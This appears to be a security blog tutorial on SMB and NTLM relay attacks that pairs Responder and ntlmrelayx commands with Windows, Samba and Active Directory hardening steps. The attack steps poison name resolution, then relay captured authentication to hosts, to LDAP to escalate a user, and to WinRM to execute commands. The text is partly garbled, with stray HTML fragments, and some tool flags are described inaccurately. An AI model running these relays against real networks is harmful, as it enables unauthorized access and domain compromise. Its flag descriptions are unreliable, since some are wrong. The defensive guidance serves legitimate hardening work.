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Introduction:
SMB (Server Message Block) relay attacks allow an adversary to intercept authentication requests on a local network and relay them to another machine, granting unauthorized access without ever cracking a password. This technique exploits legacy SMB signing requirements—or lack thereof—and remains a devastatingly effective post‑exploitation and lateral movement vector in both on‑premises and hybrid cloud environments.
Learning Objectives:
- Understand how SMB relay attacks bypass traditional password security by relaying NetNTLM hashes.
- Execute a complete SMB relay attack using Linux tools (Responder, ntlmrelayx) and detect it on Windows.
- Implement hardening measures including SMB signing, network segmentation, and cloud‑specific mitigations.
You Should Know:
- How SMB Relay Works – From Hash Capture to Shell
The attack begins when a victim attempts to connect to a malicious SMB server. The attacker forces the victim to authenticate (e.g., via LLMNR/NBT‑NS spoofing or a rogue printer share). Instead of cracking the hash, the attacker immediately relays it to a target machine that does not require SMB signing. If successful, the attacker gains an authenticated session—often with administrative privileges.
Step‑by‑step guide (Linux – Kali / Parrot):
1. Identify vulnerable hosts (SMB signing disabled) nmap --script smb-security-mode.nse -p445 192.168.1.0/24 <ol> <li>Start responder to poison LLMNR/NBT-NS and capture hashes sudo responder -I eth0 -dwP</p></li> <li><p>In another terminal, relay captured hashes to a target sudo ntlmrelayx.py -tf targets.txt -smb2support -socks -o loot
– `targets.txt` contains IPs where SMB signing is disabled.
- The `-socks` option establishes a SOCKS proxy for further interaction.
Windows detection command (run as admin):
Check if SMB signing is required or enabled Get-SmbServerConfiguration | Select EnableSMB2Protocol, RequireSecuritySignature, EnableSecuritySignature If "RequireSecuritySignature" = False, the host is vulnerable.
- Exploiting Active Directory with NTLM Relay (SMB + LDAP)
Relaying to LDAP services can be even more powerful. Using `ntlmrelayx.py` against a Domain Controller, an attacker can modify ACLs, create new domain admins, or dump the NTDS.dit file—all without a single password.
Step‑by‑step guide:
Relay to LDAP on a Domain Controller sudo ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user targetuser To dump all domain hashes via relay (requires high privilege) sudo ntlmrelayx.py -t ldap://dc.internal.com --dump-laps
– This works when the Domain Controller has LDAP signing not enforced.
– Mitigation: Enforce LDAP signing and channel binding.
Windows hardening:
Enable LDAP signing (GPO or reg key) reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "LDAPServerIntegrity" /t REG_DWORD /d 2 /f
- Cloud & API Security: Relaying in Hybrid Environments
Azure AD Connect (AAD Connect) servers are prime relay targets. Attackers can relay authentication from a compromised on‑prem server to the cloud, gaining federated identities. Similarly, APIs using NTLM authentication (e.g., Exchange Web Services) can be relayed.
Step‑by‑step (simulated):
Using ntlmrelayx to target a REST API endpoint sudo ntlmrelayx.py -t http://api.corp.com/api/endpoint -r -socks
– The `-r` flag forces HTTP‑based relay.
– Cloud mitigation: Disable NTLM for cloud‑facing APIs; enforce Modern Auth (OAuth 2.0 / SAML).
Azure CLI check for risky configs:
List apps allowing legacy authentication az rest --method get --url "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy"
4. Linux Hardening Against SMB Relay (Samba)
Linux Samba servers can also be exploited if SMB signing is not enforced. Many default configurations remain vulnerable.
Step‑by‑step audit and fix:
Check current Samba signing settings testparm -v | grep -i "sign" Edit /etc/samba/smb.conf – add or modify: [bash] server signing = mandatory client signing = mandatory smb encrypt = required Restart Samba systemctl restart smbd nmbd
Verification command:
smbclient -L //localhost -U guest -m SMB3 --option='clientsigning=required'
5. Mitigation & Blue‑Team Countermeasures
Defending against SMB relay requires layered controls. Prioritize these steps:
Step‑by‑step hardening checklist:
- Enable SMB signing everywhere (Group Policy:
Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Microsoft network server: Digitally sign communications (always)). - Disable LLMNR and NBT‑NS via GPO or PowerShell:
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -Value 0
- Use SMB over QUIC for Windows 11/Server 2022 (prevents relay by enforcing TLS).
- Implement network access controls – restrict 445/tcp to only authorized servers.
- Deploy Microsoft’s “Relay Mitigation” patches (KB5005413 and later).
Detection: Look for event IDs 4624 (anomalous network logons), 5140 (SMB share access), and 4776 (credential validation failures).
- Advanced Attack: Cross‑Protocol Relay (SMB → HTTP → WinRM)
Modern toolkits allow chaining protocols. For example, relay SMB authentication to HTTP (Exchange) then to WinRM for remote PowerShell.
Step‑by‑step (using `ntlmrelayx.py` with multi‑target):
Relay to WinRM via HTTP endpoint sudo ntlmrelayx.py -t http://192.168.1.50/wsman -smb2support -c "whoami"
– If successful, the command executes in the victim’s context.
– Mitigation: Require Kerberos for WinRM (winrm set winrm/config/service/auth '@{Kerberos="true"}').
What Undercode Say:
- Key Takeaway 1: SMB relay attacks bypass password complexity and MFA—they abuse trust, not credentials. Disabling SMB signing is equivalent to leaving your front door unlocked.
- Key Takeaway 2: Modern enterprises must treat NTLM as a legacy liability. Transitioning to Kerberos (with AES encryption) and cloud‑native identity providers eliminates entire classes of relay attacks.
Analysis: Despite being known for nearly two decades, SMB relay persists because of misconfigured defaults (especially on printers, IoT devices, and Linux Samba shares). Attackers don’t need zero‑days; they exploit “simple” configuration errors. Red teams should prioritize this technique, while blue teams must audit SMB signing status across all assets—including transient cloud VMs and container hosts.
Prediction:
As hybrid work blurs network boundaries, SMB relay will see a resurgence—especially against misconfigured Azure AD Connect servers and legacy on‑prem apps exposed via VPNs. Microsoft will likely deprecate NTLM completely by 2028, forcing enterprises to modernize. Until then, automated SMB relay worms could cause lateral movement on par with WannaCry. The only long‑term fix is eliminating NTLM and enforcing cryptographic authentication (Kerberos + TLS) across all protocols.
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